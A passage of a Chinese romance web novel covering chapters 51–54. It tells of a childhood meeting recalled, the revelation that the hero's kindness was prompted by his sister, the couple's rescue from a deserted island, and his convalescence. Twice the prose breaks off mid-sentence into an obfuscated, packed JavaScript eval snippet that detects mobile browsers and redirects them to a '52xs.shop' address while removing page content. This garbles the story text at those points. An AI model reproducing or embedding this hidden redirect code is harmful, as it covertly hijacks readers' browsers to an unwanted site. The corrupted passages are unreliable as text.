南有音怔怔注视着徐寂宁,心间产生些许异样的感觉,她的视线从他秀气的眉眼到精致的鼻翼与两片薄唇,而后又转到他下巴上在阳光下隐约可见的细小绒毛…… 大概是她的视线太过浓烈,徐寂宁很快发现了,他抬眼带着询问与困惑看向她。 在两人视线相撞的瞬间南有音没来由的感到一阵心慌,像是踩空了一节楼梯,她脑袋一空,下意识冲着徐寂宁笑了。 他是唯一一个不会嘲笑她,愿意耐心听她的方言,不在意她是乡下丫头,甚至会主动牵起她的手的人。 “宁哥哥,你真好,我好喜欢你。”她灿烂地笑着对徐寂宁直接说出了心底想法。 徐寂宁脸有点红,他局促地摇摇头:“不,我不好,还是你比较好。” 南有音心花怒放,她还想继续跟徐寂宁玩,但很快宴会就结束了。 临别时南有音有点不舍,跟徐寂宁说常来找她玩,或者她去找徐寂宁玩也行,她问徐寂宁住在哪里,徐寂宁说了一个地址,她默默记在心里。 然而好久之后,她熟悉了京城,才知道徐寂宁写下的地址是京城寸土寸金的区域,传说那是一条铺满金子的街道,只有达官显贵世代高门才有资格出入,而她这样不入流的小门小户,连经过那条街也是妄想,更罔论进去与徐寂宁说话了。 自此以后,便是一别六年,直到徐寂宁病重,钦天监的人出了一个八字相合的主意,南有音与徐寂宁原本平行的生命才再度有了些交点。 51. 缺角 南有音讲完了她与徐寂宁初见时的情景,对过去不无怀念,但徐寂宁久久没有说话,只是皱着眉低着头。 “不至于吧,”南有音晃了晃徐寂宁的肩膀,“你不至于真的一点印象都没有了吧,我惦记了六年,你一点也想不起来,叫人怪伤心的。” “我记得的。”徐寂宁终于抬起头来,他非常仔细地观察南有音的容颜,南有音配合地露出了一个笑容。 “你是南有音啊……”他带着几丝感慨说出了一句废话,接着好像意识到自己说了什么,匆忙解释道,“我的意思是,比起那时,你变了太多了。” 南有音立刻问道:“哪里变了?” “变好看了。”徐寂宁实话实说。 南有音相当满意。 徐寂宁记忆中跟他一块抓鸟的女孩黑黑瘦瘦,头发枯黄,脸上也长满粗糙的斑痕,即便穿着体面的衣服,站在雪地里时还是像是一条破破烂烂的麻杆。 如今她白净丰腴了很多,若非落难孤岛,她满头秀发应该盘成发髻,闪烁着绸缎般的光泽,他再也无法将她与过去那个枯瘦的女孩联系起来。 唯一一点相同之处便是南有音笑起来依旧灿烂动人,跟当初的小女孩一个模样。 “你的模样还跟那个时候一个样子,没什么变化,”南有音说道,“所以结婚当晚我见到你可开心啦!” “但是,”南有音随之垮下脸来,叹了一口气,“我发现你虽然脸面没有变,但是里面变了好多,都快叫我不认识了。” 徐寂宁有些茫然:“我变了吗?” “当然呀!”南有音立刻细数他们成亲之后的过往种种,“那时我不识字,什么都不懂,我其实怕你也会像其他人一样瞧不起我,但那时的你会说没有高低贵贱之分,大家都是一样的人,但现在,我发现你跟其他公侯子弟也没什么太大的区别,一样的高高在上。” “徐寂宁,你为什么变了呀?叫我没有以前那么喜欢你了。”南有音忧伤而认真注视着徐寂宁的眼睛,好像想从其中探寻一些答案。 “有音,”徐寂宁不知道说什么,转而问道,“那次宴会,你是不是也见到了三姐?” “见到了,”南有音回忆道,“那天跟你分开之后,我就去找玉振,发现他在跟一个漂亮的姑娘说话,就是三姐姐,当时三姐姐问了我好多奇怪的问题——” 南有音皱着眉头竭力追忆:“什么‘乡村政策’‘基础设施’之类的字眼儿,我没怎么听懂。然后徐太太要回府,派人来催三姐,我们也就没说几句话就走了。” “不过她倒是和玉振说了很多,那时玉振应该是被人嘲笑了躲起来哭了,当然他不会承认的,我我只是发现了他脸上没有擦干净的泪痕,然后被三姐姐碰到了安慰了。”南有音微笑道,“你和三姐姐关系很好吧,那时你们两个说的话都差不多一样,你对我说人不分高低贵贱,三姐也是这样对玉振说得,她还告诉玉振不能以出身论人,不要妄自菲薄——” 南有音又笑道:“玉振还说,她把当时笑话我们的少爷小姐通通骂了一顿,告诉玉振人生来平等什么的。” 徐寂宁惊讶到半晌说不出话,他想起上次与南玉振见面,他和松梯还曾奇怪南玉振口中那些话怎的也跟三姐有点像,原来他们见过面。 “三姐她……”徐寂宁有点说不出话来。 南有音说道:“你那时和三姐姐很像,现在却变了好多。” “我……”徐寂宁沙哑道,“有音,其实那天,我做的那些都是三姐姐的意思。” 在南有音惊讶地神情下,徐寂宁回忆起那一段被琐事埋藏的记忆,与南有音铭记终生不同,徐寂宁认为那只是他十四岁生涯中非常普通的一天。 他记得有一段时间的父亲被贬,他和三姐跟着母亲在徐府,偶尔去京郊探望一下父亲,其中一次恰逢父亲的同僚南晨颂举办宴会。 宴会很无趣,他不想跟那些想要巴结他的孩子玩,他们送给他的点心也都不怎么好吃,于是他就一直跟在三姐徐静祺屁股后面乱转。 他和三姐徐静祺溜达到庭院,恰好看到一圈人围着南有音,正在笑话她的口音。 徐静祺觉得南有音有些可怜,便说道:“寂宁,你过去帮那个小姑娘说几句话去。” 徐寂宁不想过去,反问道:“你怎么不去?” “我又不喜欢跟小孩玩。”徐静祺玩笑道,“我听说她就比你小一岁,与你年龄相仿,而且你们的名字还怪般配,你去给她解围,日后成亲,说不定还能传为一段佳话。” 徐寂宁很不赞同:“她明显只是乡下的土丫头,与我们简直是云泥之别,她说的话口音重到我都听不懂,我不喜欢她,太太也不会看得上。” 徐静祺瞪了一眼徐寂宁:“云泥之别?你到底从哪儿冒出来这么多高低贵贱的想法?” “可她只是一个乡下丫头,咱们好歹也是累世公卿,”徐寂宁在徐静祺眯起眼睛的注视下声音越来越小,“而且她连字都不认识一个……” 徐静祺有些生气:“你能读书识字是因为你幸运的出生在徐府,你为什么不想想她为什么不识字,是不想吗?又不是天下人都能跟你一样锦衣玉食。” 众人嘲笑那个瘦弱女孩长满冻疮的手时,徐寂宁瞧见了那一双紫红一片的手,也觉得又丑又吓人。 徐静祺很是气愤,她非常不解地质问道:“为什么你们没有任何悲悯和同情?” 徐寂宁嗫声道:“可是,她的手就是看上去很瘆人……” 徐静祺冷哼一声:“你们这些人,明明自己不事生产,事事由仆从照料,十指不沾阳春水,却反而要嘲笑和看不起那些自食其力的穷苦人家? “徐寂宁,你凭什么觉得那双手恶心觉得丑却没有丝毫同情?就凭你冬天用的永远是热水,从来不用自己洗衣服吗?你从不会关心冻疮是怎么回事,因为你自己压根就不会得,你见过那些为你打水洗衣的人的手吗?你连他们叫什么都不知道,你根本不关心下他们,因为你生下来就享受他们的服侍,觉得一切理所当然,不出意外的话这辈子都不会知道大冬天凉水洗衣服是什么感觉。 “你凭什么觉得自己高人一等?只凭你懂琴棋书画读书写字而她不会?那她一样可以觉得你低人一等,她会种植五谷饲养六畜,而你除了吃什么都不懂。你该不会也觉得那些活儿都是下人干的吧?要是没有下人,你们这些四体不勤的废物又能活多少天? “徐寂宁,你和那个姑娘一样都是人,凭什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445811|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么你从小锦衣玉食,却还要瞧不起她从小饱受磨难?她不过是出身乡野,到了你口中就成了云泥之别?你该不会觉得你和平民百姓是两种不同的东西吧?该不会也觉得奴婢和平民算不上人吧!觉得只有你们这些封建制度下的官老爷才算得上人?” 徐静祺一套人人平等的理论噼里啪啦砸了下来,诸如“推翻特权阶级”等字眼砸得徐寂宁晕头转向。 他被三姐连名带姓称呼他的气愤模样吓坏了,惊恐道:“我没那么想!三姐,我没有那么想!” 徐静祺深呼吸几口,压下心头怒火,看向蹲在雪地里捂着耳朵不愿听人嘲笑的可怜女孩儿,推了四弟一把:“这里的人都想巴结你,你去解围,他们不敢说什么。” 徐寂宁被三姐训怕了,立刻照做,走进人群,拉住南有音的手,扶她站起来。 但这个瘦小女孩的口音太重了,她说得话他一句也没听懂,稀里糊涂地就被女孩拉走了,他往三姐的方向看去,三姐已经不知所踪。 徐寂宁被三姐训了一顿,便不嘲笑南有音的口音,只硬着头皮耐心分辨,当南有音很快乐地跟南夫人说起只有自己不笑话她时,徐寂宁有点心虚。 于是他决定好好陪她玩,按她说得去做,于是他们去抓小鸟,于是他们打雪仗,当然很打雪仗不是一个很好的主意,他被她单方面压着打了两轮之后告饶了,坐在亭子里休息。 徐寂宁想了一阵三姐的话,在想三姐怎么那么生气,没等他想出缘由,南有音笑着跳到他面前,说要送他漂亮的东西,然后她举起了一朵白雪做成的花,晶莹剔透,在太阳底下闪着动人的光芒。 徐寂宁惊叹片刻,却注意到了南有音的手,红肿的像是胡萝卜一样的手又裂了几道口子,正在渗血,他没见过这样的手,忍不住觉得伤口瘆人,但他想到了三姐的指责,于是他问南有音是不是很痛。 当然很痛,看上去就让人觉得疼。 南有音却说没事,还立刻把手藏了起来,显然是因为刚刚被人嘲讽的原因,她说她的手每年都会这样,已经习惯了。 习惯了?这让徐寂宁心中有点不是滋味,他将南有音藏在背后的手拿出来,捧在手心,用手帕小心擦干净她手上融化的雪水与裂口处渗出的血液,有些融化的雪水淌进了裂口,看得人揪心。 南有音问他觉得吓人吗,他望着她怯生生的神情,心中似乎终于升起了三姐口中他不具备的悲悯与同情,他安慰她说不吓人,然后他得到了她非常真挚的感谢,他又一次觉得愧疚了,他刚刚其实也嫌弃她来着。 但南有音没有察觉到他的愧疚,仍在自顾自地伤心,她说她不知道大家为何都嘲笑她,觉得她低人一等。 徐寂宁局促不安,不知道说什么好,最后拿出了三姐训他的话,他说人没有高低贵贱,他说那些嘲笑她的人都太狭隘了,其中也包括他自己。 他承认三姐说得对,他确实太狭隘了。 但南有音好像很感动,毫不犹豫地表达了对自己的喜欢,但徐寂宁只觉得惭愧,羞得脸红。 宴会结束,他便走了,之后父亲徐朗调任礼部尚书,他和母亲还有三姐,再也没有去过那个京郊的官署了,很快,他也就渐渐忘却了那个名叫南有音的小女孩。 52. 倘若 山洞外一片空明月色,远远的传来海浪的声音,洞穴中南有音与徐寂宁相对而坐,只是这次听完徐寂宁的讲述,沉默的人换成了南有音。 “有音……”徐寂宁低垂着眼帘,轻声道,“那天,你见到的我,其实是三姐让我——” 南有音举起手示意徐寂宁不要说话,她的正在缓慢地理解徐寂宁所说的一切。 她觉得一切荒谬到不可思议,也就是说说,她喜欢的其实是按照徐静祺指示行动的徐寂宁? 她发出一声痛苦地叹息,将脑袋埋到两只手里,很久很久,久到徐寂宁以为她睡着了。 实际上她也确实小睡了一会儿,再次抬起头时天色已经蒙蒙亮了,一抬眼就看到徐寂宁忧虑地注视着自己。 她很熟悉他细长的单眼皮眼睛,少女时的她曾在无数个夜晚回想起这双眼睛,但现在她看着那双眼睛,却只感到了一阵无力的茫然。 她想到过去自己那样喜欢他,顿觉一切荒唐到让人发笑。 于是她真的笑出声了。 “有音,”徐寂宁的声音虚弱而忧心忡忡,“你在笑什么?” 南有音轻快道:“没什么,只是我觉得有点傻。” 徐寂宁疑惑地看着她,于是她自嘲般笑着叹了口气,说道:“你还记得我之前说的吗,我觉得不喜欢你了是因为你变了,以为我只喜欢一个存在于我的记忆里的曾经的你,当时还难过的哭了。” “但是现在,”南有音挑挑眉,一撇嘴做了个无奈的表情,“我发现曾经的你也是在三姐的训斥下装的,所以,与其说我爱上记忆中或者幻想中的你,倒不如说我其实真正喜欢的是三姐对我的怜悯与平等以待,因而,或许我从来都没有喜欢过真正的你。” 徐寂宁神情闪烁了一下。 南有音望着徐寂宁的有点黯淡的眼睛,又笑道:“话说这么一想是不是有些凄凉了,尤其如今在这座岛上的只有你和我。” 南有音想到自己少时爱慕的少年并不是愿意主动牵起彼时自己又脏又丑的手,也并非自愿对乡野出身的她平等以待,终于还是感到一阵微妙的酸楚,嘴角的笑也沉了下去。 “真是天大的误会。”南有音小声嘟囔道,“这么一想感觉过去还怪尴尬的。” 她抱着膝盖坐在,又缩成了小小一团,她虽然没有落泪,但还是忍不住小声抽了抽鼻子。 “有音……”徐寂宁想要安慰她,却又不知道该从何开口。 “没关系的,不需要安慰我。”南有音其实也不算太难过,她幸庆自己早早地发现徐寂宁与自己记忆中的身影不一样,庆幸自己已经不再执着于喜欢徐寂宁,将其当做自己的丈夫,虽然最初意识到这一点是她相当伤心,但现在还好。 南有音有些无所谓地说道:“这些过去的误会,其实也没什么,毕竟过去我们是‘或许算是夫妻’,现在我们是朋友。” 徐寂宁大概有些遗憾与愧疚,低声说道:“朋友吗,有音,我大概不值得……” “怎么会呢?”南有音轻快道,“这一路上经历这么多,我们当然算得上朋友啦,甚至还是好朋友,毕竟同甘共苦过。” 南有音捡起了地上一个野果,揉了揉自己饥肠辘辘的肚子,重新斟酌了一下说辞,说道:“好吧,目前只是共苦,还没有同甘。” 徐寂宁头低得更厉害了,他声音很小又很局促:“有音……” 他又一次想道歉,但觉得“对不起”三个字实在太过苍白。 南有音拍了拍徐寂宁的肩膀,他看起来跟洞穴外雨后弥漫着雾气的黎明一样阴郁潮湿,南有音啃了一口野果,含混不清安慰道:“徐寂宁,别这么沮丧,往好处想的话,至少咱们没有把这个误会带进坟墓里,不然阎王殿前,咱俩的莫名其妙的关系可要说不清啦。” 南有音的安慰不太妙得起到了截然相反的效果,徐寂宁思虑如今二人在荒岛的境地,隐隐觉得真的离坟墓不远了。 准确的说仍然离坟墓很远,他们在这个荒岛上没有坟墓,只会与无辜受累的船家林老汉一般,死无葬身之地。 “你要不要试着吃点野果?”南有音很是纠结地询问徐寂宁,“你已经很近没吃过东西了,但是……” 徐寂宁脆弱地肠胃适应不了岛上仅有的野果,只吃了一次差点折腾掉半条命,现在从他时不时眉头锁起来能很轻易的看出他的肠胃仍然会绞痛,对于连嘴唇都苍白到没有一丝血色的他来说什么都不吃显然也是不行,可是,谁知道他再吃野果会不会再闹肚子。 徐寂宁叹了一口气,主动捡了地上一个红彤彤的果子,无滋无味地咬了一口:“有音,如果再没有什么办法离开,我也不知道我还能再撑几天——” 徐寂宁感觉他这具身体糟透了,连站起来的力气都没有,腹中一阵阵的痉挛,有时需要他咬紧牙关才不至叫出声,他右手伤口处流出的脓血更多了,溃烂的更加严重,疼痛甚至已经从手掌蔓延到了整个肩膀。 他虽然不是郎中,但他曾生过一场大病,所谓久病成医,他非常清楚照这样下去,他很快就会痛苦地死掉。 徐寂宁皱眉忍过腹中一阵绞痛的袭击,有些有气无力,尽量控制着声音温和平稳,希望不至于吓到南有音,轻声说道:“有音,若是我死了——” 南有音立刻打断了他,非常固执道:“我们不会死在这座岛上。” “我知道,”徐寂宁继续道,“我是说如果——” 南有音又打断他:“不会的!” 徐寂宁笑了一下,恳请南有音听自己说完。 “如果我死掉了,你就干脆把我吃掉,这样应该还能多撑一段时间。”徐寂宁语气很是平淡,好像在叙述岛上风景一样。 这种过于平淡的语气使得南有音足足反应了数秒才意识到徐寂宁说了什么。 “啪嗒”一声,她扔进嘴里的浆果又从唇缝掉落了下来,在地上摔成了一摊果酱。 “你说什么呢?”南有音目瞪口呆,惶恐又茫然。 她抬手摸了摸徐寂宁的额头,很烫,显然是在发热,而且烧得不轻。 她对徐寂宁说道:“你发烧了,在说胡话。” 徐寂宁摇摇头:“我是认真的,在岛上只靠吃野果肯定不行,有音,你的脸色都开始发黄了。” “那也不能吃掉你,”南有音一时都不知道该怎么评价徐寂宁这个离奇古怪的想法了,“这也太荒唐了,徐寂您,这比我们刚刚说的彼此初见的回忆还要荒唐。” “是吃掉我的尸体。”徐寂宁虚弱地纠正道。 南有音畏惧地打了一个哆嗦,鼻尖仿佛又嗅到了尸体腐烂的气息,脑海中浮现出海岸边林老汉泡胀了的尸体。 她万分惊惧,问道:“徐寂宁,你知道你在说些什么吗?” 她疑心徐寂宁烧得神智不清了,她伸出三个手指,摆在徐寂宁面前,问他是几。 徐寂宁 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“是我拖累了你,”徐寂宁注视着南有音的眼睛,认真说道,“有音,你要离开这座岛,好好活下去,到那时,我死了,你就可以不会被束缚在徐家了,你可以和阮鸣鸥走,也可以自己一个人做那些你想做的事,比如,你说过的,骑马去很远的地方,去西域之类的。” “你……”南有音心下一阵古怪地柔软。 他原来是记得我说过的话的,她这样想着,心底竟泛起了莫名的伤感。 她摇摇头道:“我答应过太太的,你不会死的,我和你要一起安稳地回到京城。” “有音……”徐寂宁又皱起了眉头,虚弱地轻轻叹息一声,晃晃悠悠飘飘荡荡,让南有音心口沉甸甸的。 “别傻了,徐寂宁,你不会死,我也不会跟鸣鸥哥走的,”南有音认真说道,她的眼眶有点红,“他当时可是要杀了我们的。” “但他没有真的想杀死你,谁会舍得杀死你呢,有音,”徐寂宁苍然一笑,“如果他认真的,咱们两个的尸首早就喂鱼啦。” “可是他举起刀了。”南有音回想起那把明晃晃的冷刃,仍然觉得后怕,只差一点,她和徐寂宁就死了。 南有音用力眨了眨眼睛,不想叫泪珠淌出来:“徐寂宁,我不会跟他走的,他举起刀对着我了,我怎么可能再跟他走。” 南有音很是委屈,委屈到语气都像是在指责:“那天晚上,是你,徐寂宁,是你挡在我的面前,想要挡住他的刀。” 南有音也说不清自己究竟在委屈些什么,或许她在委屈阮鸣鸥竟然会为了王府的事业举刀向她,或许她在委屈徐寂宁想让她吃他恶心的尸体,也或许她在委屈徐寂宁已经想好了死掉抛下她的事情…… “有音,”徐寂宁温和道,“你想哭就哭出来吧。” “我不想哭。”南有音确实不想哭,因为徐寂宁还活着,他只是在假设自己死了,又不是真的。 但还是有两滴泪珠不受控制的从南有音的眼眶逃逸,南有音狠狠一抹眼眶,冲着徐寂宁嚷道:“徐寂宁,你答应我,不要死掉,我不想孤零零的一个人,我们要活着离开这座岛。” “好。”徐寂宁并不清楚他能不能做到这个承诺,他有点愧疚还是吓哭了南有音,想着先答应下来,不忍看她脸上挂着泪痕。 他与南有音依偎着彼此,注视着洞穴外的海面上浮动的金色光芒,是新日在升起。 他们在浮光跃金的海面上看到了一艘船。 53. 离岛 太阳缓缓升起,海平面上浮动着金光,在金色水光中荡漾的还有十几艘船只。 南有音发现这些船只,心底一沉,她以为是永安王的人又一次登岛了。 但很快,船只靠岸,借着阳光,她无比清晰地看到了官府朝廷的标志。 一阵狂喜立刻席卷了南有音的四肢,她也不知道哪来的力气,毫不犹豫,背起软绵绵的徐寂宁就往岸边跑去。 “有音,你,”徐寂宁在南有音背上颠簸,声音虚弱破碎,“你倒是放我下来。” 南有音干净利落道:“不要,你这个样子走路太慢,我没耐心。” “不是,”徐寂宁透过南有音的肩头看到熟悉的人影从船上下来,正往这边瞧,“薛大人看着呢,你背着我也太……” 徐寂宁红着脸小声道:“至少应该我背着你才对。” “下次吧。”南有音嘴上敷衍,丝毫没有减慢脚下的步伐,一直到薛停面前,她兴高采烈地喊了一声薛大人,然后才放徐寂宁下来。 徐寂宁有点局促,他身上一点力气也没有,头晕脑胀,只得扶着南有音下勉强向薛停行礼。 薛停神情很古怪,来来回回的在南有音与徐寂宁身上打量,半晌说到:“少夫人真是好力气。” 徐寂宁更尴尬了,南有音则大方笑道:“一看到薛大人,瞬间脚步都轻盈了!” 南有音说得是实话,能够离开孤岛的喜悦确实使她的脚步无比轻盈,但薛停没有理会她的恭维,而是将视线落在了徐寂宁身上:“你果然还是来鲁蝶岛了。” 徐寂宁与薛停的意见有分歧,徐寂宁认为凡事讲求证据,不能先有结果而再捏造证据,薛停却认为不管鲁蝶岛藏着什么,都只能是兵甲,告诉徐寂宁没有必要调查,徐寂宁在乎真相,与薛停话不投机,故而他与南有音其实是不告而别,私自调查鲁蝶岛。 徐寂宁微微颔首,说道:“谋反之罪终究不能凭空捏造,我只是想看看鲁蝶岛上是否能有确凿证据——” 他的话还没说完,就被前来向薛停禀报的小吏打断了:“薛大人,船只已全部靠岸,等您的吩咐。” 薛停点点头,冰冷的眼睛注视着徐寂宁:“陛下的意思,由不得你。” 他转头对小吏说道:“把船上的东西全都运上岸。 南有音和徐寂宁看到主船周围的数艘小船上盛满了兵器盾牌,随着薛停的一声令下,众人簇拥着大量兵甲上岸了。 南有音讶然,徐寂宁却瞬间明白薛停的此举何意,薛停说过的,为了陛下的意思,没有证据也要制造证据,他这是要将兵甲丢在鲁蝶岛,故意展示出永安王私藏兵甲意欲谋反的情形。 徐寂宁一时惊讶于薛停的手段,急道:“薛大人,请等一等!” “寂宁,想要阻拦我的话就算了,”薛停一脸冷漠,“皇上的意思是永安王谋反,那么永安王就确实反了。” “不是的,”徐寂宁说道,“岛上真的有兵甲。” 鲁蝶岛上的海风静止了了一瞬,在这一瞬薛停怔了一下,反问道:“永安王真的私藏了兵甲?” 他向来冷漠的脸上流露出一丝惊讶,似乎他原本也不相信永安王会谋反,甚至从一开始就没打算找到不存在的证据。 徐寂宁说道:“西南方向,有一条栈道,沿着栈道走到头有一个山洞,打开机关之后,是大量的兵器。” 薛停示意手下人停下动作,去探查徐寂宁所说,不一会儿就有人来报,证实了洞中确有兵甲。 薛停面淡淡地点了点头,说道:“现在可以了,并非无凭无据地强加罪名了。” 他注视着苍白到不像话的徐寂宁,再开口时向来冷峻的音调里多了一丝温情与怜惜:“寂宁,这几日受苦了,你父亲那边有寄书信给我询问你的行踪,等回去以后,你自己回复吧。” 很快薛停查明清点了鲁蝶岛的兵甲,坐实了永安王确实包藏祸心,他带着南有音与徐寂宁启程,没有再回铜城,而是前往岭南的中心白坪府一带。 南有音看着渺渺海面,望着鲁蝶岛越来越小,最终缩成了一个黑点,心中说不出的感觉,唯一确定的是有一点遗憾,林老汉的尸身永远的停在了此处。 当岛上所有人马围绕着永安王的兵甲团团转时,南有音偷偷去岸边远远的望了一眼林老汉的尸身,青紫色的尸体孤零零地躺在岸上,清点兵甲的小吏来来往往,遮掩口鼻,不会施舍半分目光,只有不知名的海鸟会为林老汉的躯壳停留片刻。 不会有人在意一个无关紧要的平民尸体,南有音很不是滋味地想着,回到船上,却听到徐寂宁在与薛停谈话。 徐寂宁请求薛停将林老汉的尸身带回故乡安葬。 薛停毫不犹豫的拒绝了,理由也相当充分,先是他们不回铜城了,没必要为了一个死去的平民大费周章,而后是天热,行船途中腐败尸身容易招致疾病。 徐寂宁沉默了,他确实无法反驳。 薛停继续说道:“不过他协助皇上调查永安王之事有功,我可以派人赏赐他的家人。” 徐寂宁沙哑道:“他没有家人了,妻儿都已经死了。” 薛停漠然道:“这样也好,没有家人也给官府免了不少麻烦,尸身更没有理由带走了。” 南有音有些反感薛停这种将林老汉的死看做一个没必要的麻烦的冷血思维,她听到徐寂宁语气生硬地对薛停说道:“即便没有家人,但那也是一条人命。” 薛停安静了片刻,而后语气中透露着些许奇怪:“寂宁,你何时也变的这样优柔寡断了,在京城为官做宰,政令施行,动辄生杀,怎么还会在乎一介平民?” 徐寂宁猛然一惊,或许是岭南流浪的日子里他终于接触到了底层百姓,也或许是孤岛濒临死亡使他意识到自己的无力与渺小,他终于隐约察觉到他与百姓万民并无差别。 于是,京城之外的芸芸众生在他眼中终于不只是“百姓”这个笼统而含糊的概念了了,他意识到他们是与他一样的个体,一个又一个的生命,而非书本中奏章中一个简单的词句。 “无论如何,”徐寂宁请求道,“至少入土为安,请薛大人派人埋葬了他吧。” 薛停这次没有拒绝,因为以他的能力,找几个埋葬尸体实在是小菜一碟。 就这样,林老汉的尸身葬在了鲁蝶岛岸边,孤孤单单的一个人,只有无尽的海浪还会同他打招呼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445813|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南有音与徐寂宁随着薛停到了白坪府。 在各种边角村县呆久了,南有音一时都适应不了过分繁华的白坪府了。 一到城中,薛停便忙得脚不沾地,但不得不说薛停这个英俊的小老头虽然冷峻,但还确实做事严谨周到,他妥帖地安顿了南有音与徐寂宁,非常大方地将其安置在城中最好的客栈,不忘帮手忙脚乱的南有音托关系请到岭南最有名的郎中为奄奄一息的徐寂宁医治。 徐寂宁情况确实不好,荒岛几日便已形销骨立,接着连日舟车劳顿,高烧不退,时而昏迷,时而清醒,躺在床上像是薄薄一层纸片。 他形容惨烈的右手更为可怕,前来治疗的郎中直言,再晚几日医治,恐怕整只手都要不保了。 南有音惊恐地看着郎中从行囊中掏出一把寒光闪闪的小尖刀:“这是什么意思,难道还是要砍去几根手指吗?” 郎中笑道:“夫人不必担忧,只是剔除腐肉罢了,若是害怕,在屋外等候片刻即可。” 南有音有点不敢看,但她又觉得作为朋友在关键时刻应该陪着徐寂宁,于是就守在床头,咬牙看着郎中一层一层的割去腐烂的皮肉,屋内静悄悄的,割肉的声音听得南有音头皮发麻。 徐寂宁怕吓到南有音,死死咬住牙关,不让痛吟声从喉咙溢出,只有偶尔几声闷哼和额头上豆大的汗珠昭示着剔肉的疼痛。 “徐寂宁……”南有音不禁有点发抖。 徐寂宁的痛苦虽然无声但也在空气中弥漫,南有音放在徐寂宁枕边的手不自觉攥成了拳头,指甲深深掐进肉里也毫无知觉。 徐寂宁费力地抬起左臂,颤抖着抚摸南有音的手背,竭力控制着让嗓音平稳,安慰道:“有音,没事的。” 郎中清理完毕,收起刀开始上药,一面敷药一面笑道:“你们夫妻二人感情很好嘛。” 南有音这才发现,不知道什么时候她的手与徐寂宁的左手紧紧攥在一起了。 她感到几丝尴尬,朋友之间十指相扣有点奇怪,似乎过于亲密了,她只见过大嫂宋知落跟薛驰光十指相扣。 她想松开,但总觉得这样有些欲盖弥彰的意味。 而后她忽然意识到,哪有什么欲盖弥彰,在除了他们二人之外的所有人眼里,他们就是夫妻。 郎中敷好药,又开了几副汤剂,叮嘱了几句不能沾水之类的,叫徐寂宁卧床好生修养。 南有音望着床榻上半死不活的人,担忧道:“你不要好不容易离开孤岛了又死了,这也太滑稽了。” “我不会的。”徐寂宁虚弱地安慰南有音,他想开个玩笑让南有音开心一点,便说道,“我死了其实也还好,这样婚约就没了,父亲会放你回家,你就又是南家的大小姐啦。” “唔,你说得有道理。”南有音思考道,“要是咱们想要分开,你死了确实一劳永逸了。” 南有音毫不掩饰想要分开的心思,使得徐寂宁莫名感到了一点失落。 南有音又说道:“可是,你要是死掉了我会很伤心。” 徐寂宁有点高兴南有音会为他伤心,但他不想让南有音伤心。 他微微笑了一下,说道:“所以我会没事的。” 54. 起念 很长一段时间里,徐寂宁都在卧床养病,南有音无所事事,白天出门乱逛,一逛就是一整天,各种搜集素材,晚上则在客栈挑灯夜战,写起了话本子。 徐寂宁意外成为了南有音的第一个读者。 当南有音游荡了一整天,回到客栈,却发现自己放在桌上的稿子被动了,原本乱糟糟的草稿被按顺序整理的整整齐齐的。 “你动我的稿子了?”南有音扬了扬手里的一沓纸问道。 徐寂宁道:“我想着回复一下父亲寄来的信,不巧你的稿子正好摆在桌子上……” “你看了吧,”南有音狡黠地笑了,“觉得怎么样?” “还好。”徐寂宁有点气闷。 他气闷的原因是他轻而易举地看出话本子里有个以他为原型的人物,也姓徐,叫徐安静,也是京城的少爷,一根舌头能尝出吃得是公鸭肉还是母鸭肉,辨得出水是雨水还是雪水,穿衣必须是上好的丝绸,麻布衣服会使他细腻的肌肤留下划痕,身体娇弱,不能疾行,吃不得凉菜…… 话本子里这个千娇百媚的徐家少爷最后的命运是被邻国的女皇帝收入囊中了。 “有音,”徐寂宁郁闷道,“我在你眼里,至于那么娇滴滴吗?” 南有音扑哧一笑:“谁说那个徐公子是你了?” 徐寂宁嘟囔道:“我难道看不出来你是照着我写得?” 南有音笑得声音更大了,徐寂宁一声不吭,翻身朝里不看南有音。 南有音咯咯笑着,坐到床头,推了一把徐寂宁:“你生气啦?” 徐寂宁近来瘦了很多,肩胛骨硌得南有音手疼。 “没有。”徐寂宁闷声道,他犹豫了一下,问道,“有音,我在你心里难道没有一点优点?你话本子里写得徐公子可不讨人喜欢……” “谁说的?”南有音笑道,“徐公子很讨人家女皇的喜欢嘛。” 徐寂宁瘪嘴,不置可否,徐公子最大的优点就是一个相当不错的小白脸。 南有音继续问道:“话说你到底觉得我这本《徐公子三遇女帝君》写得怎么样啊?” “剧情文辞什么的都很好,就是里面有几处纰漏,”徐寂宁有点忸怩道,“午后无事,我帮你润色了一点。” 南有音翻了翻稿子,上面果然有一些小小的批注,但字迹丑到南有音不相信这是徐寂宁写得。 她下意识问:“你这字怎么还不如我写得了?” 徐寂宁道:“用左手写的。” 南有音又随便翻了翻,在草稿底下翻出一张只写了两句话的家书。 “怎么没写完?”南有音抽出那张排布歪歪扭扭字迹的书信问道。 徐寂宁摆了摆包扎地像是一块石头一样的右手:“写得实在太丑了,不好给老爷看。” 南有音提议道:“那你说我写?从离开鲁蝶岛薛停就跟你说记得给老爷回信,现在都快十天了,还没写呢。” 徐寂宁想了想,答应了。 南有音铺开纸,徐寂宁坐在她身边口述,她蘸墨落笔,先是一段报平安的文字,接着又是涉及到藩王与朝廷的隐秘政事,其中关系到徐府与京城官员错综复杂的关系。 “呃……徐寂宁,这种事让我也知道真的可以吗?”在听到一些非常私密的徐府信息时南有音停住了笔,看向徐寂宁。 徐寂宁眼睛清亮亮的,反问道:“你有什么不能知道的呢?” 